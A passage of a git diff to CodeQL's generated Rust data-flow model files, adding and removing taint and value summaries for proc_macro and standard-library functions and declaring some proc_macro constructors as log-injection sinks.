"ReturnValue.Field[crate::bridge::client::ProcMacro::Attr::name]", "value", "dfc-generated"] - ["lang:proc_macro", "::bang", "Argument[0]", "ReturnValue.Field[crate::bridge::client::ProcMacro::Bang::name]", "value", "dfc-generated"] @@ -70,9 +80,7 @@ extensions: - ["lang:proc_macro", "::name", "Argument[self].Field[crate::bridge::client::ProcMacro::Bang::name]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::name", "Argument[self].Field[crate::bridge::client::ProcMacro::CustomDerive::trait_name]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::clone", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:proc_macro", "::clone", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:proc_macro", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:proc_macro", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -118,3 +126,17 @@ extensions: - ["lang:proc_macro", "crate::bridge::client::state::set", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:proc_macro", "crate::bridge::client::state::set", "Argument[1]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["lang:proc_macro", "crate::bridge::client::state::with", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:proc_macro", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new_raw", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f32_suffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f32_unsuffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f64_suffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::f64_unsuffixed", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::new_ident", "Argument[0]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] + - ["lang:proc_macro", "::to_tokens", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-std.model.yml b/rust/ql/lib/ext/generated/rust/lang-std.model.yml index 00d31391a4d..39f57b3b83d 100644 --- a/rust/ql/lib/ext/generated/rust/lang-std.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-std.model.yml @@ -11,6 +11,9 @@ extensions: - ["lang:std", "<&[u8] as crate::io::Read>::read_to_end", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "<&[u8] as crate::io::Read>::read_to_string", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "<&[u8] as crate::io::copy::BufferedReaderSpec>::copy_to", "Argument[self].Element", "Argument[self].Reference.Reference", "value", "dfc-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::arith::Sub>::sub", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::bit::BitAnd>::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "<&crate::collections::hash::set::HashSet as crate::ops::bit::BitAnd>::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "<&crate::io::stdio::Stdin as crate::io::Read>::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] @@ -29,72 +32,38 @@ extensions: - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)]", "ReturnValue.Field[crate::collections::hash::map::Entry::Occupied(0)]", "value", "dfc-generated"] - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::Entry::Vacant(0)]", "ReturnValue.Field[crate::collections::hash::map::Entry::Vacant(0)]", "value", "dfc-generated"] - ["lang:std", "::insert_entry", "Argument[self].Field[crate::collections::hash::map::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base].Reference", "ReturnValue.Field[crate::collections::hash::map::HashMap::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base]", "ReturnValue.Field[crate::collections::hash::map::HashMap::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::HashMap::base]", "ReturnValue.Field[crate::collections::hash::map::HashMap::base]", "value", "dfc-generated"] - - ["lang:std", "::raw_entry", "Argument[self]", "ReturnValue.Field[crate::collections::hash::map::RawEntryBuilder::map]", "value", "dfc-generated"] - - ["lang:std", "::raw_entry_mut", "Argument[self]", "ReturnValue.Field[crate::collections::hash::map::RawEntryBuilderMut::map]", "value", "dfc-generated"] - ["lang:std", "::try_insert", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::collections::hash::map::OccupiedError::value]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base].Reference", "ReturnValue.Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Iter::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::RawEntryMut::Occupied(0)]", "ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Occupied(0)]", "value", "dfc-generated"] - - ["lang:std", "::and_modify", "Argument[self].Field[crate::collections::hash::map::RawEntryMut::Vacant(0)]", "ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Vacant(0)]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Keys::inner].Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner].Reference", "ReturnValue.Field[crate::collections::hash::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Keys::inner]", "ReturnValue.Field[crate::collections::hash::map::Keys::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner].Field[crate::collections::hash::map::Iter::base]", "ReturnValue.Field[crate::collections::hash::map::Values::inner].Field[crate::collections::hash::map::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner].Reference", "ReturnValue.Field[crate::collections::hash::map::Values::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::map::Values::inner]", "ReturnValue.Field[crate::collections::hash::map::Values::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Difference::iter].Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Difference::iter]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Difference::iter]", "ReturnValue.Field[crate::collections::hash::set::Difference::iter]", "value", "dfc-generated"] - ["lang:std", "::insert", "Argument[self].Field[crate::collections::hash::set::Entry::Occupied(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base].Reference", "ReturnValue.Field[crate::collections::hash::set::HashSet::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base]", "ReturnValue.Field[crate::collections::hash::set::HashSet::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::HashSet::base]", "ReturnValue.Field[crate::collections::hash::set::HashSet::base]", "value", "dfc-generated"] - ["lang:std", "::difference", "Argument[0]", "ReturnValue.Field[crate::collections::hash::set::Difference::other]", "value", "dfc-generated"] - ["lang:std", "::intersection", "Argument[0]", "ReturnValue.Field[crate::collections::hash::set::Intersection::other]", "value", "dfc-generated"] - ["lang:std", "::intersection", "Argument[self]", "ReturnValue.Field[crate::collections::hash::set::Intersection::other]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter].Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Intersection::iter]", "ReturnValue.Field[crate::collections::hash::set::Intersection::iter]", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base].Reference", "ReturnValue.Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Iter::base].Reference", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Iter::base]", "ReturnValue.Field[crate::collections::hash::set::Iter::base]", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter]", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter].Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter]", "ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter]", "value", "dfc-generated"] - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter].Reference", "ReturnValue.Field[crate::collections::hash::set::Union::iter]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter]", "ReturnValue.Field[crate::collections::hash::set::Union::iter].Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self].Field[crate::collections::hash::set::Union::iter]", "ReturnValue.Field[crate::collections::hash::set::Union::iter]", "value", "dfc-generated"] - ["lang:std", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Report::error]", "value", "dfc-generated"] - ["lang:std", "::pretty", "Argument[0]", "Argument[self].Field[crate::error::Report::pretty]", "value", "dfc-generated"] - ["lang:std", "::pretty", "Argument[0]", "ReturnValue.Field[crate::error::Report::pretty]", "value", "dfc-generated"] @@ -108,12 +77,14 @@ extensions: - ["lang:std", "::as_encoded_bytes", "Argument[self].Field[crate::ffi::os_str::OsStr::inner].Field[crate::sys::os_str::bytes::Slice::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::display", "Argument[self]", "ReturnValue.Field[crate::ffi::os_str::Display::os_str]", "value", "dfc-generated"] - ["lang:std", "::borrow", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::ffi::os_str::OsString::inner].Reference", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] - ["lang:std", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::path::PathBuf::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::deref", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::deref_mut", "Argument[self].Element", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_vec", "Argument[self].Field[crate::ffi::os_str::OsString::inner].Field[crate::sys::os_str::bytes::Buf::inner]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::from_str", "Argument[0].Field[crate::path::PathBuf::inner]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ffi::os_str::OsString::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::ffi::os_str::OsString::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_os_str", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -129,7 +100,6 @@ extensions: - ["lang:std", "::as_inner", "Argument[self].Field[crate::fs::File::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::fs::File::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::fs::File::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::set_created", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_inner_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner_mut", "Argument[self].Field[crate::fs::FileTimes(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::set_accessed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -164,19 +134,22 @@ extensions: - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::Chain::second]", "ReturnValue.Field[1].Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Chain::first]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Chain::second]", "ReturnValue.Field[1]", "value", "dfc-generated"] - - ["lang:std", "::advance_slices", "Argument[0].Reference.Element", "Argument[0].Reference.Reference", "value", "dfc-generated"] - - ["lang:std", "::advance_slices", "Argument[0].Reference.Element", "Argument[0].Reference.Reference", "value", "dfc-generated"] - ["lang:std", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::lower_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::upper_bound", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::min_limit", "Argument[self].Field[crate::io::Take::limit]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::taken", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::Take::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::limit", "Argument[self].Field[crate::io::Take::limit]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::set_limit", "Argument[0]", "Argument[self].Field[crate::io::Take::limit]", "value", "dfc-generated"] - ["lang:std", "::write", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_all", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_all_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::write_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::error", "Argument[self].Field[1]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::error", "Argument[self].Field[crate::io::buffered::IntoInnerError(1)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_error", "Argument[self].Field[1]", "ReturnValue", "value", "dfc-generated"] @@ -187,10 +160,12 @@ extensions: - ["lang:std", "::consume", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::read_buf", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::read_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_vectored", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::seek_relative", "Argument[0]", "Argument[self]", "taint", "df-generated"] - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::buffered::bufreader::BufReader::inner]", "ReturnValue", "value", "dfc-generated"] @@ -211,10 +186,14 @@ extensions: - ["lang:std", "::with_buffer", "Argument[1]", "ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::buf]", "value", "dfc-generated"] - ["lang:std", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::buffered::bufwriter::WriterPanicked::buf]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_mut", "Argument[self].Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_ref", "Argument[self].Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::with_capacity", "Argument[1]", "ReturnValue.Field[crate::io::buffered::linewriter::LineWriter::inner].Field[crate::io::buffered::bufwriter::BufWriter::inner]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::io::buffered::linewritershim::LineWriterShim::buffer]", "value", "dfc-generated"] - - ["lang:std", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::inner].Reference", "ReturnValue.Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::inner]", "ReturnValue.Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] + - ["lang:std", "::clone", "Argument[self].Field[crate::io::cursor::Cursor::pos]", "ReturnValue.Field[crate::io::cursor::Cursor::pos]", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::inner]", "Argument[self].Field[crate::io::cursor::Cursor::inner].Reference", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::inner]", "Argument[self].Field[crate::io::cursor::Cursor::inner]", "value", "dfc-generated"] - ["lang:std", "::clone_from", "Argument[0].Field[crate::io::cursor::Cursor::pos]", "Argument[self].Field[crate::io::cursor::Cursor::pos]", "value", "dfc-generated"] @@ -231,16 +210,25 @@ extensions: - ["lang:std", "::from", "Argument[0].Field[1]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from", "Argument[0].Field[crate::io::buffered::IntoInnerError(1)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::pipe::PipeReader(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::io::pipe::PipeWriter(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::lock", "Argument[self].Field[crate::io::stdio::Stderr::inner]", "ReturnValue.Field[crate::io::stdio::StderrLock::inner].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::lines", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::lock", "Argument[self].Field[crate::io::stdio::Stdin::inner]", "ReturnValue.Field[crate::io::stdio::StdinLock::inner].Field[crate::sync::poison::mutex::MutexGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::fill_buf", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::read_line", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_until", "Argument[self]", "Argument[1]", "taint", "df-generated"] + - ["lang:std", "::as_mut_buf", "Argument[self].Field[crate::io::stdio::StdinLock::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::read_exact", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_end", "Argument[self]", "Argument[0]", "taint", "df-generated"] - ["lang:std", "::read_to_string", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["lang:std", "::lock", "Argument[self].Field[crate::io::stdio::Stdout::inner]", "ReturnValue.Field[crate::io::stdio::StdoutLock::inner].Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock]", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::net::tcp::TcpListener(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::net::tcp::TcpListener(0)]", "value", "dfc-generated"] @@ -259,11 +247,36 @@ extensions: - ["lang:std", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::into_inner", "Argument[self].Field[crate::net::udp::UdpSocket(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_fd", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::as_inner", "Argument[self].Field[crate::os::linux::process::PidFd::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::os::linux::process::PidFd::inner]", "value", "dfc-generated"] + - ["lang:std", "::into_inner", "Argument[self].Field[crate::os::linux::process::PidFd::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::from_parts", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::os::unix::net::addr::SocketAddr::addr]", "value", "dfc-generated"] - ["lang:std", "::from_parts", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::os::unix::net::addr::SocketAddr::len]", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[crate::os::unix::net::ancillary::AncillaryDataIter::data].Element", "Argument[self].Field[crate::os::unix::net::ancillary::AncillaryDataIter::data].Reference", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::next", "Argument[self].Field[crate::os::unix::net::ancillary::ScmRights(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::len", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::length]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::messages", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::buffer].Element", "ReturnValue.Field[crate::os::unix::net::ancillary::Messages::buffer].Reference", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::os::unix::net::ancillary::SocketAncillary::buffer]", "value", "dfc-generated"] + - ["lang:std", "::truncated", "Argument[self].Field[crate::os::unix::net::ancillary::SocketAncillary::truncated]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[crate::os::unix::net::ancillary::SocketCred(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pid", 